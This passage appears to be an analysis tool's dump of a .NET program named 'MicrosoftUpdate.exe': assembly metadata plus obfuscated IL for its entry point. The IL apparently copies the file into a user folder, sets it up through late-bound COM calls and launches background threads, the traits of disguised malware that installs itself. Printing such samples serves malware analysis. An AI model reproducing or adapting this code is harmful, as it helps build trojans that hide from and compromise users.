newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldc.i4.2 <null> stloc.s V_23 br.s IL_057C: ldloc.s V_23 ldnull <null> ldftn System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::1P8JD946vZxnmnUfn8dHJtvnQ8fgAore6hTn3gKqhu42VHTki5IxegFYJIdGAMA() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldc.i4.1 <null> stloc.s V_23 br IL_057C: ldloc.s V_23 ldloc.2 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::e44RaGRwNtNJ0FReTLyGmDFxa2Xt7RfZraRlUbXOENH1Eh5S4StnjBwfaJhYtdv() pop <null> ret <null>

Module Name

MicrosoftUpdate.exe

Full Name

MicrosoftUpdate.exe

EntryPoint

System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::e44RaGRwNtNJ0FReTLyGmDFxa2Xt7RfZraRlUbXOENH1Eh5S4StnjBwfaJhYtdv()

Scope Name

MicrosoftUpdate.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

MicrosoftUpdate

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

0

Main Method

System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::e44RaGRwNtNJ0FReTLyGmDFxa2Xt7RfZraRlUbXOENH1Eh5S4StnjBwfaJhYtdv()

Main IL Instruction Count

420

Main IL

ldsfld System.Int32 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::Dh1W5pC7xYrJFnZKPQf8QTo2ckt08lHJILQ504WfteaNizjMfyLXEjZyYTC0jB5bHjEWQy7qaJU6bv ldc.i4 1000 mul.ovf <null> ldc.i4 436 ldc.i4 485 call System.Void Stub.NMPokMB943VadKIKaZ5zIULBQxauDSYTaIGNHgrLsBpL4uc3JaXdu3OouQod2IP::Ⴓ(System.Int32,System.Int16,System.Int16) ldc.i4.1 <null> stloc.s V_15 ldloc.s V_15 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::kriRsXQr3zoWuB99b0tYqfsLbO0PBeSfplIM2QwF2u2OwDPBSvbqGqVAx27KUM2qpAasMxrvx9HR58 call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 304 ldc.i4 372 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::kriRsXQr3zoWuB99b0tYqfsLbO0PBeSfplIM2QwF2u2OwDPBSvbqGqVAx27KUM2qpAasMxrvx9HR58 ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::swjQzShjwbi7ARYSA09WWgCinThpPe96G8MfReCiglVBO4JrzmreTNMQzYHsa3vtVJ985tFBc6hTgm call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 813 ldc.i4 873 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::swjQzShjwbi7ARYSA09WWgCinThpPe96G8MfReCiglVBO4JrzmreTNMQzYHsa3vtVJ985tFBc6hTgm ldc.i4.3 <null> stloc.s V_15 br.s IL_001D: ldloc.s V_15 ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::QRyS6W9BYUHjKHO39VM8ur8qrgPzNQ061y4Mdb01Z5dA8UB9N0Pljs4CccJB7fI1xtkMrteve6qW1J call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 896 ldc.i4 964 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::QRyS6W9BYUHjKHO39VM8ur8qrgPzNQ061y4Mdb01Z5dA8UB9N0Pljs4CccJB7fI1xtkMrteve6qW1J ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::6zxm0Mb0U0n9PT2jWvRp0Rg5ApJJASRQ0nIEtHmqTDdjmUfX9AqqmTU3pd6fURGHhOmRMs0m7aWTRm call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 316 ldc.i4 376 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::6zxm0Mb0U0n9PT2jWvRp0Rg5ApJJASRQ0nIEtHmqTDdjmUfX9AqqmTU3pd6fURGHhOmRMs0m7aWTRm ldc.i4.7 <null> stloc.s V_15 br IL_001D: ldloc.s V_15 ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::vJhRGNxdKlQSeoohgsiOokjvUYBcDLJmgnGB4ZhINfD2qpRQqwKLexWNAwTAkMAc7zMo2Iv6gNDVPf call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 743 ldc.i4 675 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::vJhRGNxdKlQSeoohgsiOokjvUYBcDLJmgnGB4ZhINfD2qpRQqwKLexWNAwTAkMAc7zMo2Iv6gNDVPf ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::EJXVs9ATqvJGGTsEIyteDH7MgMqjvpSCW5tJ4CxxpiHXa764g5y4ymVbviZNhUJ call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 926 ldc.i4 986 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::EJXVs9ATqvJGGTsEIyteDH7MgMqjvpSCW5tJ4CxxpiHXa764g5y4ymVbviZNhUJ ldc.i4.5 <null> stloc.s V_15 br IL_001D: ldloc.s V_15 ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::CjDsKOUwBBQzj8CNIOchsE9mZysyBkKn9euY6nMhXjNkg7NiQPDmHinpYQRNk8a call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4 1016 ldc.i4 956 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) ldc.i4.s 77 ldc.i4.s 107 call System.String My.oOC5acPfxuEOWE3XOJmLfiP8tXPzYVWNwGjTimOysgGzI9oqMhbZzDqrl8GyZzkDuYT4pcLhv6Z0GC::Ⴃ<System.String>(System.String,System.Int16,System.Char) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::CjDsKOUwBBQzj8CNIOchsE9mZysyBkKn9euY6nMhXjNkg7NiQPDmHinpYQRNk8a ldc.i4.8 <null> stloc.s V_15 br IL_001D: ldloc.s V_15 ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::nmjCsIvyv9iocdhjzg31RUkFV9dIIS8mTKlDGcr2gYTxthTUvXgYwx4qcigIQrq call System.Object Stub.e4UPg08PPeWDDIwza0GT1r7twGj6zhiBiy7ERnR8808n2TWsv2aF1G4UfpWL9bP::AII0ldWvOXYtMn1FUwwF4ONB0foh9jRVWCbmMTlIlM0oZHrky1jDDGQGXuPSLxu(System.String) ldc.i4.s 91 ldc.i4.s 31 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) stsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::nmjCsIvyv9iocdhjzg31RUkFV9dIIS8mTKlDGcr2gYTxthTUvXgYwx4qcigIQrq leave.s IL_018C: ldc.i4.0 dup <null> ldc.i4 911 ldc.i4 921 call System.Void Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::Ⴓ<System.Exception>(System.Exception,System.Char,System.Char) stloc.3 <null> ldc.i4.0 <null> ldc.i4 672 ldc.i4 754 call System.Void Stub.NMPokMB943VadKIKaZ5zIULBQxauDSYTaIGNHgrLsBpL4uc3JaXdu3OouQod2IP::Ⴓ(System.Int32,System.Int16,System.Int16) ldc.i4 968 ldc.i4 978 call System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::Ⴀ(System.Char,System.Char) leave.s IL_018C: ldc.i4.0 ldc.i4.0 <null> stloc.s V_17 ldloc.s V_17 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴄ.Ⴈ::Ⴗ() brtrue.s IL_01BE: ldc.i4.2 ldc.i4.4 <null> stloc.s V_17 br.s IL_018F: ldloc.s V_17 ldc.i4.2 <null> br.s IL_01BA: stloc.s V_17 ldc.i4.0 <null> ldc.i4 357 ldc.i4 311 call System.Void Stub.NMPokMB943VadKIKaZ5zIULBQxauDSYTaIGNHgrLsBpL4uc3JaXdu3OouQod2IP::Ⴓ(System.Int32,System.Int16,System.Int16) ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::CjDsKOUwBBQzj8CNIOchsE9mZysyBkKn9euY6nMhXjNkg7NiQPDmHinpYQRNk8a ldnull <null> ldc.i4.6 <null> ldc.i4 644954492 ldc.i4.5 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::nmjCsIvyv9iocdhjzg31RUkFV9dIIS8mTKlDGcr2gYTxthTUvXgYwx4qcigIQrq ldc.i4 296 ldc.i4 288 call System.String My.oOC5acPfxuEOWE3XOJmLfiP8tXPzYVWNwGjTimOysgGzI9oqMhbZzDqrl8GyZzkDuYT4pcLhv6Z0GC::Ⴗ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int16,System.Int16) stloc.0 <null> ldc.i4.2 <null> stloc.s V_19 ldloc.s V_19 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> castclass System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4 284 ldc.i4 293 call System.IO.DirectoryInfo Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::Ⴈ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Int32) ldc.i4 938 ldc.i4 956 call System.String Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::Ⴜ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Char,System.Char) stloc.s V_4 ldc.i4.4 <null> stloc.s V_19 br.s IL_01FB: ldloc.s V_19 ldloc.s V_4 ldc.i4 654 ldc.i4 714 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) ldc.i4 211 ldc.i4 194 call System.Boolean Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::Ⴅ<System.String>(System.String,System.Int32,System.Int16) brtrue.s IL_0284: ldc.i4.s 9 ldc.i4.8 <null> stloc.s V_19 br IL_01FB: ldloc.s V_19 ldc.i4.s 9 br.s IL_027D: stloc.s V_19 ldloc.s V_4 ldc.i4 145 ldc.i4 213 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴜ<System.Object>(System.Object,System.Int32,System.Int32) ldc.i4 262 ldc.i4 316 call System.IO.DirectoryInfo Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::ႷႷ<System.String>(System.String,System.Int16,System.Int32) pop <null> ldc.i4.s 9 stloc.s V_19 br IL_01FB: ldloc.s V_19 ldloc.0 <null> castclass System.String ldc.i4.s 64 ldc.i4.s 80 call System.Boolean Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::Ⴅ<System.String>(System.String,System.Int32,System.Int16) brfalse.s IL_02CB: ldc.i4.5 ldc.i4.6 <null> stloc.s V_19 br IL_01FB: ldloc.s V_19 ldc.i4.5 <null> br.s IL_02C4: stloc.s V_19 ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 isinst System.IO.FileInfo ldc.i4.s 91 ldc.i4.s 37 call System.Void Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::ႷႳ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int32) ldc.i4 1000 ldc.i4 307 ldc.i4 354 call System.Void Stub.NMPokMB943VadKIKaZ5zIULBQxauDSYTaIGNHgrLsBpL4uc3JaXdu3OouQod2IP::Ⴓ(System.Int32,System.Int16,System.Int16) ldloc.0 <null> isinst System.String ldsfld System.String Ⴄ.Ⴈ::Ⴗ ldc.i4 333 ldc.i4 323 call System.Byte[] Stub.NMPokMB943VadKIKaZ5zIULBQxauDSYTaIGNHgrLsBpL4uc3JaXdu3OouQod2IP::ႳႥ<System.String>(System.String,System.Int16,System.Int32) ldc.i4 379 ldc.i4 322 call System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::Ⴄ<System.String>(System.String,System.Byte[],System.Int16,System.Int32) leave.s IL_034D: ldc.i4.8 dup <null> ldc.i4 584 ldc.i4 606 call System.Void Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::Ⴓ<System.Exception>(System.Exception,System.Char,System.Char) stloc.s V_6 ldc.i4 864 ldc.i4 890 call System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::Ⴀ(System.Char,System.Char) leave.s IL_034D: ldc.i4.8 ldc.i4.8 <null> stloc.s V_21 ldloc.s V_21 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4 274 ldc.i4 382 call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::ႰႤ(System.Environment/SpecialFolder,System.Char,System.Char) ldnull <null> ldc.i4.s 14 ldc.i4 644954495 ldc.i4.6 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldsfld System.String 6Tk3sPl6MYUNcdB9TGeZXkTvmvu6MBpSGe1BKbwDYW3IrA6vwABLHzgRNA1DHkxO5rCIGftAAsIm6a::nmjCsIvyv9iocdhjzg31RUkFV9dIIS8mTKlDGcr2gYTxthTUvXgYwx4qcigIQrq ldc.i4 222 ldc.i4 249 call System.String My.oOC5acPfxuEOWE3XOJmLfiP8tXPzYVWNwGjTimOysgGzI9oqMhbZzDqrl8GyZzkDuYT4pcLhv6Z0GC::Ⴃ<System.String>(System.String,System.Int16,System.Char) ldnull <null> ldc.i4.s 12 ldc.i4 644954250 ldc.i4.3 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldc.i4 748 ldc.i4 642 call System.String My.oOC5acPfxuEOWE3XOJmLfiP8tXPzYVWNwGjTimOysgGzI9oqMhbZzDqrl8GyZzkDuYT4pcLhv6Z0GC::Ⴓ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Char,System.Int32) stloc.s V_7 ldc.i4.0 <null> stloc.s V_21 br IL_0350: ldloc.s V_21 ldnull <null> ldc.i4.0 <null> ldc.i4 644954274 ldc.i4.4 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldnull <null> ldc.i4.s 14 ldc.i4 644954950 ldc.i4.1 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldc.i4 399 ldc.i4 407 call System.Object My.ysOBAFnrSAgKCdunbTRBk0r7Mw8QIW3DrM4NGtGX0STLpgBXJNwio3thj1yQSIkkeTvBlZdVjgTJVS::Ⴈ<System.String,System.String>(System.String,System.String,System.Int16,System.Char) ldnull <null> ldnull <null> ldc.i4.s 14 ldc.i4 644954959 ldc.i4.0 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 castclass System.Object[] ldc.i4.0 <null> ldloc.s V_7 castclass System.String stelem.ref <null> ldloc.s V_9 isinst System.Object[] stloc.s V_10 ldloc.s V_10 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 isinst System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 castclass System.Boolean[] ldc.i4 491 ldc.i4 405 call System.Object My.ysOBAFnrSAgKCdunbTRBk0r7Mw8QIW3DrM4NGtGX0STLpgBXJNwio3thj1yQSIkkeTvBlZdVjgTJVS::Ⴍ<System.Type,System.Object,System.String>(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Int32,System.Int16) ldloc.s V_11 castclass System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_04A2: stloc.s V_12 ldloc.s V_10 isinst System.Object[] ldc.i4.0 <null> ldelem.ref <null> ldc.i4 774 ldc.i4 858 call System.Object Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::Ⴓ<System.Object>(System.Object,System.Int32,System.Int32) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) ldc.i4 703 ldc.i4 731 call System.Object My.ysOBAFnrSAgKCdunbTRBk0r7Mw8QIW3DrM4NGtGX0STLpgBXJNwio3thj1yQSIkkeTvBlZdVjgTJVS::Ⴓ<System.Type,System.Object>(System.Object,System.Type,System.Char,System.Char) castclass System.String stloc.s V_7 stloc.s V_12 ldloc.s V_12 ldnull <null> ldnull <null> ldc.i4.5 <null> ldc.i4 644954986 ldc.i4.8 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 castclass System.Object[] ldc.i4.0 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_13 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.7 <null> stloc.s V_21 br IL_0350: ldloc.s V_21 ldloc.s V_12 ldnull <null> ldnull <null> ldc.i4.s 15 ldc.i4 644954904 ldc.i4.5 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 castclass System.Object[] ldc.i4.0 <null> ldnull <null> ldc.i4.2 <null> ldc.i4 644954945 ldc.i4.6 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_13 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.2 <null> stloc.s V_21 br IL_0350: ldloc.s V_21 ldloc.s V_12 ldnull <null> ldnull <null> ldc.i4.s 14 ldc.i4 644954942 ldc.i4.5 <null> call System.String Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2::Ⴐ(Stub.rRGJxGBWkmX7ZWI31CIKcWzzi1U36im0HQVqqABFtUU8GwG5bWM77p0jTSbvNs2,System.Int32,System.Int32,System.Int32) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.1 <null> stloc.s V_21 br IL_0350: ldloc.s V_21 ldnull <null> stloc.s V_12 ldloc.s V_7 castclass System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴄ.Ⴈ::Ⴍ leave.s IL_0579: ldc.i4.6 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0579: ldc.i4.6 ldc.i4.6 <null> stloc.s V_23 ldloc.s V_23 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.MT7nEzmUIt7haZM6FTaIZaY6JnBXKeNDDLArvKrgy0QfLKtqCkoF5lIobzSlYmB::wZTVCof6aw5RhWvc5CPtNgbSQr8I5njxXQDL93mSwwI7j8XZxsrQnaivGMMvRRv() call System.Void Ⴄ.Ⴈ::Ⴃ() ldnull <null> ldftn System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::XNSkZ06jdGM1ZxlozA3yAi3Pymo3ftTqOFFzeAY6H1JS8GuBZkEUwTaMrDMzlGj() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::5tvD6c6kHAsg3WW7SoOeYIqnh0HZ33jRs3yO3laP2ECwgCdvucLJFaStftOSv8e() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldc.i4.2 <null> stloc.s V_23 br.s IL_057C: ldloc.s V_23 ldnull <null> ldftn System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::1P8JD946vZxnmnUfn8dHJtvnQ8fgAore6hTn3gKqhu42VHTki5IxegFYJIdGAMA() newobj System.Void 